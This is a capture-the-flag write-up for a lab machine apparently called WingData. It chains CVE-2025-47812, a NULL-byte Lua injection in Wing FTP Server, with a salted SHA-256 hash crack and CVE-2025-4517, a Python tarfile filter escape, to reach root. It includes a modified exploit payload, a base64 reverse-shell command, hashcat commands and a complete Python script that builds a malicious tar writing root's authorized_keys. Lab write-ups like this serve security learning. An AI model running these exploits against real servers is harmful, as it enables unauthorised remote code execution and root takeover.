FILE 009 · Privilege escalation
WingData
NULL byte in Wing FTP's login username writes Lua into the session file for RCE, a salted SHA-256 from its own config cracks to wacky, then a PATH_MAX bug in Python's tarfile data filter writes root's authorized_keys.
- CVE-2025-47812
- Lua session injection
- salted SHA-256 crack
- CVE-2025-4517 tarfile escape
Season: 10 · OS: Linux (Debian) · Difficulty: Medium/Hard
WingData runs Wing FTP Server 7.4.3, and the whole box is a chain of things that were supposed to be safe. A NULL byte in the login username gets Lua into a session file. The password hash sitting in Wing FTP’s own config cracks once you notice the salt is in the config too. And root comes from a Python API written specifically to make tar extraction safe, defeated by making a path too long for realpath() to finish.
Reconnaissance
Nmap Scan
FTP on ftp.wingdata.htb, fingerprinting as Wing FTP Server 7.4.3. Anything before 7.4.4 is worth stopping on, because that version range is the CVE-2025-47812 window.
Initial Foothold: CVE-2025-47812 (NULL byte to Lua injection)
Wing FTP mishandles NULL bytes in the username parameter at /loginok.html. Put a \0 in the username followed by Lua, and the server writes that Lua straight into the session file. Hit any authenticated endpoint afterwards, /dir.html will do, and the server runs it as the FTP service account. No credentials involved at any point.
Storing session state as executable Lua is what turns a parsing bug into RCE.
The public exploit posts the crafted username to /loginok.html, pulls the session UID out of the Set-Cookie header, then triggers execution with a GET to /dir.html. It uses io.popen() to capture output, which hangs the moment you ask it for a reverse shell. Swapping in os.execute() fixes that:
# kali - exploit.py, modified payload
payload = (
f"username={encoded_username}%00]]%0dos.execute(\"{command}\")%0d--&password="
)
The shell command also needs base64 wrapping, because >& does not survive the Lua string and the URL encoding intact:
# kali
python3 exploit.py -u http://ftp.wingdata.htb \
-c 'echo <base64-encoded-reverse-shell>|base64 -d|bash'
Penelope listening on 1338, shell comes back as wingftp.
Lateral Movement: wingftp -> wacky
As wingftp the whole install at /opt/wftpserver/ is readable, and Wing FTP keeps its account config as XML under Data/. Two accounts carry password hashes:
# target
cat /opt/wftpserver/Data/1/admin_accounts.xml
# => <Admin_Name>admin</Admin_Name>
# => <Password>REDACTED</Password>
cat /opt/wftpserver/Data/1/wacky/settings.xml
# => <UserName>wacky</UserName>
# => <Password>REDACTED</Password>
Hashcat mode 1400 against rockyou got nothing, which is the signal to go back and read the config rather than to try a bigger wordlist. The domain settings say why:
# target
cat /opt/wftpserver/Data/1/settings.xml
# => <EnableSHA256>1</EnableSHA256>
# => <EnablePasswordSalting>1</EnablePasswordSalting>
# => <SaltingString>WingFTP</SaltingString>
The format is SHA256($pass.$salt) with a static salt of WingFTP, so it is mode 1410 and the salt goes on the hash line:
# kali
hashcat -m 1410 'REDACTED_HASH:WingFTP' /usr/share/wordlists/rockyou.txt
The FTP password is reused as the system password:
# target
su - wacky
cat user.txt
Privilege Escalation: wacky -> root (CVE-2025-4517)
sudo -l gives wacky a backup restore script as root, no password:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
The script takes a tarball name and a restore directory, validates both, and extracts with the safe filter:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
filter="data" exists precisely to stop path traversal and symlink attacks. The box runs Python 3.12.3, which is inside the CVE-2025-4517 window, so the filter can be walked straight past.
The bug is in how the filter validates. It calls os.path.realpath() to resolve symlinks and confirm the extracted file lands inside the destination. When the resolved path passes PATH_MAX, 4096 bytes on Linux, realpath() stops expanding symlinks instead of erroring. The extraction itself then uses the paths without re-resolving them, so anything after the cutoff is never checked.
To trigger it you build a chain of single-character symlinks (a, b, c) pointing at directory names 247 characters long. Resolving the full chain blows past 4096 bytes, and the symlink at the end of it can then point anywhere on the filesystem.
backups/ is group-writable by wacky, so the crafted tar can be dropped where the script expects it:
# kali - build poc.tar
import tarfile, os, io
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("poc.tar", mode="x") as tar:
# symlink chain that overflows PATH_MAX once resolved
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# short path through the single-letter names; resolving it exceeds
# PATH_MAX, so realpath stops expanding here
linkpath = "/".join(steps) + "/" + "l" * 254
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
# escape hatch: climbs out of the staging dir to /
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../"
tar.addfile(e)
d = tarfile.TarInfo("escape/root/.ssh")
d.type = tarfile.DIRTYPE
d.mode = 0o700
tar.addfile(d)
ssh_key = b'ssh-ed25519 REDACTED_PUBLIC_KEY attacker@kali\n'
f = tarfile.TarInfo("escape/root/.ssh/authorized_keys")
f.type = tarfile.REGTYPE
f.size = len(ssh_key)
f.mode = 0o600
tar.addfile(f, fileobj=io.BytesIO(ssh_key))
# target
cp /tmp/poc.tar /opt/backup_clients/backups/backup_5.tar
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_5.tar -r restore_test5
# => [+] Extraction completed in /opt/backup_clients/restored_backups/restore_test5
It reports a clean extraction, and the key is now in /root/.ssh/authorized_keys.
# kali
ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
cat /root/root.txt
Flags
| Flag | Hash |
|---|---|
| User | <redacted> |
| Root | <redacted> |
Attack Path Summary
Wing FTP Server 7.4.3 on ftp.wingdata.htb
→ CVE-2025-47812, NULL byte in username writes Lua into the session file
→ GET /dir.html executes it → shell as wingftp
→ account XML under /opt/wftpserver/Data/ holds password hashes
→ same config admits salting: SHA256($pass.$salt), salt WingFTP
→ hashcat -m 1410 → password reused as system password → wacky → user.txt
→ sudo NOPASSWD on a restore script using tarfile filter="data"
→ CVE-2025-4517, symlink chain overflows PATH_MAX, realpath gives up
→ tar writes /root/.ssh/authorized_keys → ssh root → root.txt